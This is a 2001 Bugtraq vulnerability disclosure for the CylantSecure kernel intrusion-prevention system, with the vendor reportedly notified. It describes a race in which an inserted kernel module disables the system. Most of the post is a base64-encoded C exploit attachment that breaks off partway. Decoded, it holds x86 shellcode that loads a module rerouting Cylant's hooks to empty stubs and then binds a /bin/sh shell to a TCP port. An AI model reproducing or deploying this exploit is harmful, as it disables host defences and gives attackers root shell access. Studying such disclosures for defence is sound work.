[21270] in bugtraq
Vulnerability: CylantSecure
daemon@ATHENA.MIT.EDU (Juergen Pabel)
Sat Jun 30 12:13:18 2001
Message-ID: <20010629103829.8028.qmail@securityfocus.com>
From: Juergen Pabel <juergen@pabel.net>
To: bugtraq@securityfocus.com
Date: Fri, 29 Jun 2001 12:39:08 -0400
MIME-Version: 1.0
Content-Type: Multipart/Mixed;
boundary="------------Boundary-00=_89APQQFEIRAKOIUQNL1T"
--------------Boundary-00=_89APQQFEIRAKOIUQNL1T
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
Summary:
CylantSecure is a kernel patch and system that analyses behavior and kills
programs that deviates from the "normal" system behaviour. The
vulnerability lies in the processessing delay that occurs between a process
violating some security rule and the actual killing of the process (a user
space analyser). By inserting a module (which in itself is a violation, but
due to the mentioned delay it suceeds) that reroutes function pointers the
system can effectively be disabled. The vulnerability exists in
CylantSecure 1.1 and earlier (the Cylant Team has been notified and is
working on a fix).
Attached is an exploit for this vulnerability.
Juergen Pabel
juergen@pabel.net
--------------Boundary-00=_89APQQFEIRAKOIUQNL1T
Content-Type: text/x-c;
charset="iso-8859-1";
name="moduleloader.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="moduleloader.c"
LyoKSnVlcmdlbiBQYWJlbApqdWVyZ2VuQHBhYmVsLm5ldAoKVGhpcyBpcyBhbiBleHBsb2l0IHRv
IGRpc2FibGUgdGhlIGN5bGFudCBzeXN0ZW0uIEl0IG5lZWRzIHRvIGJlIHJ1biBhcyByb290LiBJ
dCBzaW1wbHkKaW5zZXJ0cyBhIGtlcm5lbCBtb2R1bGUgd2hpY2ggcmUtcm91dGVzIHNvbWUgZnVu
Y3Rpb24gcG9pbnRlcnMgdG8gcG9pbnQgdG8gYSBmdW5jdGlvbgp0aGF0IGRvZXMgbm90aGluZyAo
Y29udGFpbmVkIGluIG15IG1vZHVsZSBjb2RlKS4gQnkgZG9pbmcgdGhpcyB0aGUgY3lsYW50IGRl
ZmVuc2Ugc3lzdGVtCmlzIGVmZmVjdGl2ZWx5IGRpc2FibGVkLiBUaGlzIGNvZGUgdXNlcyBoYXJk
Y29kZWQgKCEpIHZhbHVlcyBmb3IgdGhlIHBvaW50ZXIgYWRkcmVzc2VzLAp3aGljaCB5b3Ugd2ls
bCBuZWVkIHRvIGFkYXB0IGlmIHlvdSB3YW50IHRvIHVzZSBpdCBvbiBhbnkgb3RoZXIgYnVpbGQg
dGhlbiB0aGUgYnVpbGQgdGhhdAp3YXMgdXNlZCBmb3IgdGhlaXIgaGFja2luZyBjaGFsbGVuZ2Ug
KGkgYmVsaWV2ZSBpdCB3YXMga2VybmVsIDIuMi4xOCwgY3lsYW50IHZlcnNpb24gMS4xKS4KaW4g
YW55IGNhc2UsIGkgaG9wZSBpIGRvbid0IGhhdmUgdG8gc2F5IHRoYXQgd2l0aCBhbnkgb3RoZXIg
dmVyc2lvbiB0aGlzIGNvZGUgd2lsbCBjcmFzaAphbmQgYnVybi4uLgoKSSBoYXZlIHNldCB1cCBt
eSBjb2RlIHRvIGJlIDUxMiBieXRlcyB0b3RhbCwgdG8gZml0IGludG8gb25lIHVkcCBwYWNrZXQs
IHdoaWNoIGkgcGxhbm5lZApvbiBzZW5kaW5nIHRvIG15IHVkcC1kb3dubG9hZGVyIGNvZGUuLi4u
dW5mb3J0dW5hdGVseSBpIHJhbiBvdXQgb2YgdGltZSBhbmQgZGlkIG5vdCBmaW5kCmEgd29ya2lu
ZyBleHBsb2l0IHdoaWNoIHdvdWxkIGFsbG93IG15IHVkcC1kb3dubG9hZGVyIHRvIHJ1bi4gaSBo
YXZlIHRlc3RldCB0aGlzIGNvZGUKbG9jYWxseSBvbiBteSBvd24gc3lzdGVtIGFuZCBpdCB3b3Jr
cyBsaWtlIGEgY2hhcm0uCgpsYXN0bHksIGEgc2hvcnQgb3V0bGluZSBvZiB0aGlzIGNvZGU6Cgot
IGRlbWFzcSdzIHRoZSByZXN0IG9mIHRoZSBwYWNrZXQgKGVhY2ggYnl0ZSBhZnRlciB0aGUgaW5p
dGlhbCBjb2RlICg2NGJ5dGVzKSBpcyBkZWNyZWFzZWQKICBieSAzLi4udGhlcmUgd2FzIG5vIDB4
ZmQgaW4gdGhlIHBhY2tldCkKLSBpbnNlcnQgdGhlIG1vZHVsZSBpbnRvIHRoZSBrZXJuZWwKICAt
IHRoZSBtb2R1bGUncyBpbml0IGZ1bmN0aW9uIHJlcm91dGVzIHRoZSBmdW5jdGlvbiBwb2ludGVy
cyB0byB0aGUgZnVuY3Rpb24gc3R1YiBpbiB0aGUKICAgIG1vZHVsZSBjb2RlCi0gYmluZCBhIHNo
ZWxsIHRvIGEgdGNwIHBvcnQgKGknbGwgbGVhdmUgaXQgdG8geW91IHRvIGZpZ3VyZSBvdXQgd2hp
Y2ggb25lLi4udGFrZSBpdCBhcyBhCiAgc2NyaXB0IGtpZGRpZSBwcm90ZWN0aW9uLCBldmVuIHRo
b3VnaCBpIGRvdWJ0IHRoaXMgd2lsbCBmaW5kIGFueSByZWFsIHVzZS4uLml0J3MgbW9yZSBvZiBh
CiAgcHJvb2Ygb2YgY29uY2VwdCkKCmkgd2FudCB0byBjb25ncmF0dWxhdGUgYWxsIHRoZSAodmVy
eSBuaWNlIGFuZCBoZWxwZnVsKSBwZW9wbGUgYXQgY3lsYW50IGZvciBhIGZpbmUKcHJvZHVjdCAo
dGhleSB3ZXJlIGFscmVhZHkgd29ya2luZyBvbiBhIGZpeCB0byB0aGlzIHBhcnRpY3VsYXIgYXR0
YWNrLCBzbyB0aGlzIGF0dGFjawpwcm9iYWJseSB3b24ndCB3b3JrIGluIG5ld2VyIHZlcnNpb25z
IG9mIGN5bGFudCdzIHNvZnR3YXJlKS4gZ3JlZXRpbmdzIGdvIHRvIHNwZW5kZXIsCm9hc2lzLCBt
eSBydWdieSBidWRkeTogZGVzdHJ1Y3RpdmUgZm9yY2UKCmNyZWRpdHMgZ28gdG8gcm9uMW4gZm9y
IHdyaXR0aW5nIHRoZSBwb3J0IGJpbmRpbmcgc2hlbGwgY29kZSwgd2hpY2ggaSByaXBwZWQgZnJv
bQpoaXMgc3RhdGR4IGV4cGxvaXQuCgppIHRha2Ugbm8gcmVzcG9uc2liaWxpdHkgZm9yIHdoYXQg
eW91IGRvIHdpdGggdGhpcy4uLgoKKi8KCmludCBtYWluIChpbnQgYXJnYywgY2hhciogYXJndltd
KQp7CmNoYXIgbW9kdWxlbG9hZGVyW10gPSB7Ci8vbWFzcSdpbmcgYXNjaWkgMCAoc2l6ZSA9IDY0
IGJ5dGVzKQovL3Rha2VzIHRoZSBuZXh0IDQ0OCBieXRlcyBhbmQgZGVjcmVhc2VzIGVhY2ggYnl0
ZSBieSAzIChhc2NpaSBcMCBhdm9pZGFuY2UpCjB4MzEsIDB4YzksIDB4ZTMsIDB4MDIsIDB4ZTMs
IDB4MDUsIDB4ZTgsIDB4ZjksIDB4ZmYsIDB4ZmYsIDB4ZmYsIDB4NTgsCjB4ODMsIDB4ZTgsIDB4
MGIsIDB4ODksIDB4YzYsIDB4MzEsIDB4YzksIDB4NDEsIDB4ZDAsIDB4ZTEsIDB4ZDAsIDB4ZTEs
CjB4ZDAsIDB4ZTEsIDB4ZDAsIDB4ZTEsIDB4ZDAsIDB4ZTEsIDB4ZDAsIDB4ZTEsIDB4MDEsIDB4
Y2UsIDB4NjYsIDB4YjksCjB4YzAsIDB4MDEsIDB4ZmUsIDB4MGUsIDB4ZmUsIDB4MGUsIDB4ZmUs
IDB4MGUsIDB4NDYsIDB4NDksIDB4ZTMsIDB4MDUsCjB4ZTksIDB4ZjEsIDB4ZmYsIDB4ZmYsIDB4
ZmYsIDB4OTAsIDB4OTAsIDB4OTAsIDB4OTAsIDB4OTAsIDB4OTAsIDB4OTAsCjB4OTAsIDB4OTAs
IDB4OTAsIDB4OTAsCgovL21vZHVsZSBsb2FkZXIsIGp1bXBzIHRvIGNvZGUgYXQgZW5kIGFmdGVy
IG1vZHVsZSBsb2FkaW5nIChzaXplID0gODQpCjB4ZTgsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAs
IDB4NWIsIDB4ODMsIDB4ZWIsIDB4MDUsIDB4YjgsIDB4N2YsIDB4MDAsCjB4MDAsIDB4MDAsIDB4
ODEsIDB4YzMsIDB4NjAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4ODMsIDB4YzMsIDB4NDgsIDB4Yjks
CjB4MDAsIDB4MDEsIDB4MDAsIDB4MDAsIDB4Y2QsIDB4ODAsIDB4ODksIDB4YzIsIDB4ODMsIDB4
ZWIsIDB4NDgsIDB4YzcsCjB4NDMsIDB4MDAsIDB4NDgsIDB4MDAsIDB4MDAsIDB4MDAsIDB4Yzcs
IDB4NDMsIDB4MGMsIDB4MDAsIDB4MDEsIDB4MDAsCjB4MDAsIDB4ODMsIDB4YzIsIDB4NDgsIDB4
ODksIDB4NTMsIDB4MDgsIDB4ODMsIDB4YzIsIDB4MDgsIDB4ODksIDB4NTMsCjB4MmMsIDB4Yjgs
IDB4ODAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4ODMsIDB4YzMsIDB4NDgsIDB4ODksIDB4ZDksIDB4
ODMsCjB4ZTksIDB4NDgsIDB4Y2QsIDB4ODAsIDB4MzEsIDB4YzksIDB4MGYsIDB4ODMsIDB4Y2Ms
IDB4MDAsIDB4MDAsIDB4MDAsCgovL3BhZGRpbmcgKHNpemUgPSAxMikgOiB0b3RhbCA9IDE2MAow
eDkwLCAweDkwLCAweDkwLCAweDkwLCAweDkwLCAweDkwLCAweDkwLCAweDkwLCAweDkwLCAweDkw
LCAweDkwLCAweDkwLAoKCgovLyAtLS0tID09PT0gRU5EIE9GIE1PRFVMRSBMT0FERVIsIG5leHQg
aXMgbW9kdWxlIGNvZGUgPT09PSAtLS0tCgovL3N0cnVjdCBtb2R1bGUgKHNpemUgPSA3MiBieXRl
cykKMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwg
MHgwMCwgMHgwMCwgMHgwMCwKMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgw
MCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwKMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwg
MHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwKMHgwMCwgMHgw
MCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwg
MHgwMCwKMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgw
MCwgMHgwMCwgMHgwMCwgMHgwMCwKMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwg
MHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwKCi8vbW9kdWxlIG5hbWUgOiBqcGFi
ZWwgKyAyIDB4MDAncyAoc2l6ZSA9IDgpCjB4NmEsIDB4NzAsIDB4NjEsIDB4NjIsIDB4NjUsIDB4
NmMsIDB4MDAsIDB4MDAsCgovL21vZHVsZSBjb250ZW50IChzaXplID09IDk2KQogICAgLyogbW9k
dWxlIGluaXQgKi8KICAgIDB4ZTgsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsICAgICAgLyogY2Fs
bG4gMCAgICAgICovCiAgICAweDU4LCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIHBv
cCBlYXggICAgICAqLwogICAgMHg4MywgMHhlOCwgMHgwNSwgICAgICAgICAgICAgICAgICAvKiBz
dWIgZWF4LCA1ICAgKi8KLy85CiAgICAweDg5LCAweGMxLCAgICAgICAgICAgICAgICAgICAgICAg
IC8qIG1vdiBlY3gsIGVheCAqLwogICAgMHg4MywgMHhjMSwgMHg2MCwgICAgICAgICAgICAgICAg
ICAvKiBhZGQgZWN4LCBGVU5DIHcvIDYgcGFyYW1zICovCi8vNQogICAgLyogcmVyb3V0ZSByaWRf
aW5zdF9pcCAoNiBwYXJhbXMpICovCiAgICAweGJhLCAweDZjLCAweDk0LCAweDI1LCAweGMwLCAg
ICAgIC8qIG1vdiBlZHgsIFBUUiAqLwogICAgMHg4OSwgMHgwYSwgICAgICAgICAgICAgICAgICAg
ICAgICAvKiBtb3YgW2VkeF0sZWN4Ki8KLy83CiAgICAweDgzLCAweGMxLCAweDA0LCAgICAgICAg
ICAgICAgICAgLyogYWRkIGVjeCwgNCAoZnJvbSA2IHBhcmFtcyAtPiAyIHBhcmFtcykgKi8KLy8z
CiAgICAvKiByZXJvdXRlIGN5bF9pbnN0X3BpZCAoMiBwYXJhbXMpICovCiAgICAweGJhLCAweDY0
LCAweDk0LCAweDI1LCAweGMwLCAgICAgIC8qIG1vdiBlZHgsIFBUUiAqLwogICAgMHg4OSwgMHgw
YSwgICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3YgW2VkeF0sZWN4Ki8KICAgIC8qIHJlcm91
dGUgcmlkX2luc3RfcGlkICgyIHBhcmFtcykgKi8KICAgIDB4YmEsIDB4NzAsIDB4OTQsIDB4MjUs
IDB4YzAsICAgICAgLyogbW92IGVkeCwgUFRSICovCiAgICAweDg5LCAweDBhLCAgICAgICAgICAg
ICAgICAgICAgICAgIC8qIG1vdiBbZWR4XSxlY3gqLwovLzE0CiAgICAweDgzLCAweGMxLCAweDAx
LCAgICAgICAgICAgICAgICAgLyogYWRkIGVjeCwgMSAoZnJvbSAyIHBhcmFtcyAtPiAxIHBhcmFt
KSAqLwovLzMKICAgIC8qIHJlcm91dGUgYXJpYV9pbnN0X2tvdXQgKDEgcGFyYW0pICovCiAgICAw
eGJhLCAweDUwLCAweDk0LCAweDI1LCAweGMwLCAgICAgIC8qIG1vdiBlZHgsIFBUUiAqLwogICAg
MHg4OSwgMHgwYSwgICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3YgW2VkeF0sZWN4Ki8KICAg
IC8qIHJlcm91dGUgcmlkc19zaG91bGRfcHJvZmlsZSAoMSBwYXJhbSkgKi8KICAgIDB4YmEsIDB4
NWMsIDB4OTQsIDB4MjUsIDB4YzAsICAgICAgLyogbW92IGVkeCwgUFRSICovCiAgICAweDg5LCAw
eDBhLCAgICAgICAgICAgICAgICAgICAgICAgIC8qIG1vdiBbZWR4XSxlY3gqLwogICAgLyogcmVy
b3V0ZSByaWRzX3BpZF9yZWxlYXNlX3Rhc2sgKDEgcGFyYW0pICovCiAgICAweGJhLCAweDc0LCAw
eDk0LCAweDI1LCAweGMwLCAgICAgIC8qIG1vdiBlZHgsIFBUUiAqLwogICAgMHg4OSwgMHgwYSwg
ICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3YgW2VkeF0sZWN4Ki8KICAgIC8qIHJlcm91dGUg
cmlkc19waWRfdGFnX3Rhc2sgKDEgcGFyYW0pICovCiAgICAweGJhLCAweDc4LCAweDk0LCAweDI1
LCAweGMwLCAgICAgIC8qIG1vdiBlZHgsIFBUUiAqLwogICAgMHg4OSwgMHgwYSwgICAgICAgICAg
ICAgICAgICAgICAgICAvKiBtb3YgW2VkeF0sZWN4Ki8KICAgIC8qIHJlcm91dGUgcmlkc19zaG91
bGRfZHJvcCBpcCAoMSBwYXJhbSkgKi8KICAgIDB4YmEsIDB4N2MsIDB4OTQsIDB4MjUsIDB4YzAs
ICAgICAgLyogbW92IGVkeCwgUFRSICovCiAgICAweDg5LCAweDBhLCAgICAgICAgICAgICAgICAg
ICAgICAgIC8qIG1vdiBbZWR4XSxlY3gqLwovLzM1CiAgICAvKiBsZWF2ZSBtb2R1bGUgaW5pdCBm
dW5jdGlvbiAqLwogICAgMHhiOCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgICAgICAvKiBtb3Yg
ZWF4LCAwICAgKi8KICAgIDB4YzMsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogcmV0
ICAgICAgICAgICovCi8vNgogICAgMHg5MCwgMHg5MCwgMHg5MCwgMHg5MCwgMHg5MCwgMHg5MCwv
KiBOT1BzICAgICAgICAgKi8KICAgIDB4OTAsIDB4OTAsIDB4OTAsIDB4OTAsIDB4OTAsIDB4OTAs
LyogTk9QcyAgICAgICAgICovCiAgICAweDkwLCAweDkwLCAgICAgICAgICAgICAgICAgICAgICAg
IC8qIE5PUHMgICAgICAgICAqLwovLzE0CgovL2N5bGFudCBlbXB0eSBmdW5jdGlvbiAoc2l6ZSA9
PSAxMikKICAgIC8qIHBsYWNlYm8gZnVuY3Rpb24gKG9mZnNldCBkZXBlbmRzIG9uIHBhcmFtIGNv
dW50KSAqLwogICAgMHg5MCwgMHg5MCwgMHg5MCwgMHg5MCwgMHg5MCwgMHg5MCwvKiBOT1BzICAg
ICAgICovCiAgICAweGI4LCAweDAwLCAweDAwLCAweDAwLCAweDAwLCAgICAgIC8qIG1vdiBlYXgs
IDAgKi8KICAgIDB4YzMsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogcmV0ICAgICAg
ICAqLwoKLy9wYWRkaW5nIChzaXplID09IDQpIGZvciB0b3RhbCBzaXplIG9mIDE5MiBieXRlcyBm
b3IgbW9kdWxlCi8vYW5kIDM1MiBieXRlcyB0b3RhbCBzbyBmYXIKMHg5MCwgMHg5MCwgMHg5MCwg
MHg5MCwKCi8vIC0tLS0tLS0gc2hlbGxjb2RlIC0tLS0tLS0tLS0KLy9zaXplIGlzIDEzMwoKCiAg
MHgzMSwgMHhjMCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIHhvcmwgICAlZWF4LCVl
YXggICAgICAgICAgICAgKi8KLyogam1wIHJpY29jaGV0IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8KLCAweGViLCAweDdjICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgLyogam1wICAgIDB4N2MgICAgICAgICAgICAgICAgICAqLwov
KiBrdW5nZnU6IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLSAqLwosIDB4NTkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
LyogcG9wbCAgICVlY3ggICAgICAgICAgICAgICAgICAqLwosIDB4ODksIDB4NDEsIDB4MTAgICAg
ICAgICAgICAgICAgICAgICAgICAgIC8qIG1vdmwgICAlZWF4LDB4MTAoJWVjeCkgICAgICAgKi8K
LyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIHNvY2tldCgyLDEsMCk7IC0t
LS0tLS0tLS0tLS0tLS0gKi8KLCAweDg5LCAweDQxLCAweDA4ICAgICAgICAgICAgICAgICAgICAg
ICAgICAvKiBtb3ZsICAgJWVheCwweDgoJWVjeCkgICAgICAgICovCiwgMHhmZSwgMHhjMCAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIC8qIGluY2IgICAlYWwgICAgICAgICAgICAgICAgICAg
Ki8KLCAweDg5LCAweDQxLCAweDA0ICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3ZsICAg
JWVheCwweDQoJWVjeCkgICAgICAgICovCiwgMHg4OSwgMHhjMyAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIC8qIG1vdmwgICAlZWF4LCVlYnggICAgICAgICAgICAgKi8KLyosIDB4ZmUsIDB4
YzAqLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIGluY2IgICAlYWwgICAgICAgICAg
ICAgICAgICAgKi8KLDB4NDAJLyppbmNsICVlYXgqLwosIDB4ODksIDB4MDEgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAvKiBtb3ZsICAgJWVheCwoJWVjeCkgICAgICAgICAgICovCiwgMHhi
MCwgMHg2NiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIG1vdmIgICAkMHg2NiwlYWwg
ICAgICAgICAgICAgKi8KLCAweGNkLCAweDgwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
LyogaW50ICAgICQweDgwICAgICAgICAgICAgICAgICAqLwovKiAtLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0gYmluZChzZCwmc29ja2FkZHIsMTYpOyAtLS0tLS0tLSAqLwosIDB4
YjMsIDB4MDIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3ZiICAgJDB4MiwlYmwg
ICAgICAgICAgICAgICovCiwgMHg4OSwgMHg1OSwgMHgwYyAgICAgICAgICAgICAgICAgICAgICAg
ICAgLyogbW92bCAgICVlYngsMHhjKCVlY3gpICAgICAgICAqLwosIDB4YzYsIDB4NDEsIDB4MGUs
IDB4OTkgICAgICAgICAgICAgICAgICAgICAgLyogbW92YiAgICQweDk5LDB4ZSglZWN4KSAgICAg
ICAqLwosIDB4YzYsIDB4NDEsIDB4MDgsIDB4MTAgICAgICAgICAgICAgICAgICAgICAgLyogbW92
YiAgICQweDEwLDB4OCglZWN4KSAgICAgICAqLwosIDB4ODksIDB4NDksIDB4MDQgICAgICAgICAg
ICAgICAgICAgICAgICAgIC8qIG1vdmwgICAlZWN4LDB4NCglZWN4KSAgICAgICAgKi8KLCAweDgw
LCAweDQxLCAweDA0LCAweDBjICAgICAgICAgICAgICAgICAgICAgIC8qIGFkZGIgICAkMHhjLDB4
NCglZWN4KSAgICAgICAgKi8KLCAweDg4LCAweDAxICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgLyogbW92YiAgICVhbCwoJWVjeCkgICAgICAgICAgICAqLwosIDB4YjAsIDB4NjYgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3ZiICAgJDB4NjYsJWFsICAgICAgICAgICAgICov
CiwgMHhjZCwgMHg4MCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIGludCAgICAkMHg4
MCAgICAgICAgICAgICAgICAgKi8KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tIGxpc3RlbihzZCxibGFoKTsgLS0tLS0tLS0tLS0tLS0gKi8KLCAweGIzLCAweDA0ICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgLyogbW92YiAgICQweDQsJWJsICAgICAgICAgICAgICAq
LwosIDB4YjAsIDB4NjYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3ZiICAgJDB4
NjYsJWFsICAgICAgICAgICAgICovCiwgMHhjZCwgMHg4MCAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIC8qIGludCAgICAkMHg4MCAgICAgICAgICAgICAgICAgKi8KLyogLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIGFjY2VwdChzZCwwLDE2KTsgLS0tLS0tLS0tLS0tLS0g
Ki8KLCAweGIzLCAweDA1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogbW92YiAgICQw
eDUsJWJsICAgICAgICAgICAgICAqLwovKiwgMHgzMCwgMHhjMCAqLyAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgLyogeG9yYiAgICVhbCwlYWwgICAgICAgICAgICAgICAqLwovKiwgMHg4OCwg
MHg0MSwgMHgwNCAgICAgICAgICAgICAgICAgICAgICAgICAgIG1vdmIgICAlYWwsMHg0KCVlY3gp
ICAgICAgICAgKi8KCi8vLDB4OTAsIDB4OTAsCiwweDg5LCAweDQ5LCAweDA0IC8vaWRlYTogbW92
bCAlZWN4LCA0KCVlY3gpCiwweDg5LCAweDQ5LCAweDA4IC8vaWRlYTogbW92bCAlZWN4LCA4KCVl
Y3gpCgoKLCAweGIwLCAweDY2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogbW92YiAg
ICQweDY2LCVhbCAgICAgICAgICAgICAqLwosIDB4Y2QsIDB4ODAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAvKiBpbnQgICAgJDB4ODAgICAgICAgICAgICAgICAgICovCi8qIC0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBkdXAyKGNkLDApOyAtLS0tLS0tLS0tLS0tLS0t
LS0tICovCiwgMHg4OSwgMHhjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIG1vdmwg
ICAlZWN4LCVlc2kgICAgICAgICAgICAgKi8KLCAweDg4LCAweGMzICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgLyogbW92YiAgICVhbCwlYmwgICAgICAgICAgICAgICAqLwosIDB4MzEsIDB4
YzkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiB4b3JsICAgJWVjeCwlZWN4ICAgICAg
ICAgICAgICovCiwgMHhiMCwgMHgzZiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIG1v
dmIgICAkMHgzZiwlYWwgICAgICAgICAgICAgKi8KLCAweGNkLCAweDgwICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgLyogaW50ICAgICQweDgwICAgICAgICAgICAgICAgICAqLwovKiAtLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gZHVwMihjZCwxKTsgLS0tLS0tLS0tLS0t
LS0tLS0tLSAqLwosIDB4ZmUsIDB4YzEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBp
bmNiICAgJWNsICAgICAgICAgICAgICAgICAgICovCiwgMHhiMCwgMHgzZiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIC8qIG1vdmIgICAkMHgzZiwlYWwgICAgICAgICAgICAgKi8KLCAweGNk
LCAweDgwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogaW50ICAgICQweDgwICAgICAg
ICAgICAgICAgICAqLwovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gZHVw
MihjZCwyKTsgLS0tLS0tLS0tLS0tLS0tLS0tLSAqLwosIDB4ZmUsIDB4YzEgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAvKiBpbmNiICAgJWNsICAgICAgICAgICAgICAgICAgICovCiwgMHhi
MCwgMHgzZiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIG1vdmIgICAkMHgzZiwlYWwg
ICAgICAgICAgICAgKi8KLCAweGNkLCAweDgwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
LyogaW50ICAgICQweDgwICAgICAgICAgICAgICAgICAqLwovKiAtLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0gZXhlY3ZlKC9iaW4vc2gsYXJndiwwKTsgLS0tLS0gKi8KLCAweGM3
LCAweDA2LCAweDJmLCAweDYyLCAweDY5LCAweDZlICAgICAgICAgICAgICAvKiBtb3ZsICAgJDB4
NmU2OTYyMmYsKCVlc2kpICAgICovCiwgMHhjNywgMHg0NiwgMHgwNCwgMHgyZiwgMHg3MywgMHg2
OCwgMHg0MSAgICAgICAgICAvKiBtb3ZsICAgJDB4NDE2ODczMmYsMHg0KCVlc2kpICovCiwgMHgz
MCwgMHhjMCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIHhvcmIgICAlYWwsJWFsICAg
ICAgICAgICAgICAgKi8KLCAweDg4LCAweDQ2LCAweDA3ICAgICAgICAgICAgICAgICAgICAgICAg
ICAvKiBtb3ZiICAgJWFsLDB4NyglZXNpKSAgICAgICAgICovCiwgMHg4OSwgMHg3NiwgMHgwYyAg
ICAgICAgICAgICAgICAgICAgICAgICAgLyogbW92bCAgICVlc2ksMHhjKCVlc2kpICAgICAgICAq
LwosIDB4OGQsIDB4NTYsIDB4MTAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIGxlYWwgICAw
eDEwKCVlc2kpLCVlZHggICAgICAgKi8KLCAweDhkLCAweDRlLCAweDBjICAgICAgICAgICAgICAg
ICAgICAgICAgICAvKiBsZWFsICAgMHhjKCVlc2kpLCVlY3ggICAgICAgICovCiwgMHg4OSwgMHhm
MyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIG1vdmwgICAlZXNpLCVlYnggICAgICAg
ICAgICAgKi8KLCAweGIwLCAweDBiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogbW92
YiAgICQweGIsJWFsICAgICAgICAgICAgICAqLwosIDB4Y2QsIDB4ODAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAvKiBpbnQgICAgJDB4ODAgICAgICAgICAgICAgICAgICovCi8qIC0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBleGl0KGJsYWgpOyAtLS0tLS0tLS0tLS0t
LS0tLS0tICovCiwgMHhiMCwgMHgwMSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIG1v
dmIgICAkMHgxLCVhbCAgICAgICAgICAgICAgKi8KLCAweGNkLCAweDgwICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgLyogaW50ICAgICQweDgwICAgICAgICAgICAgICAgICAqLwovKiByaWNv
Y2hldDogY2FsbCBrdW5nZnUgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLSAqLwosIDB4ZTgsIDB4N2YsIDB4ZmYsIDB4ZmYsIDB4ZmYsICAgICAgICAgICAgICAg
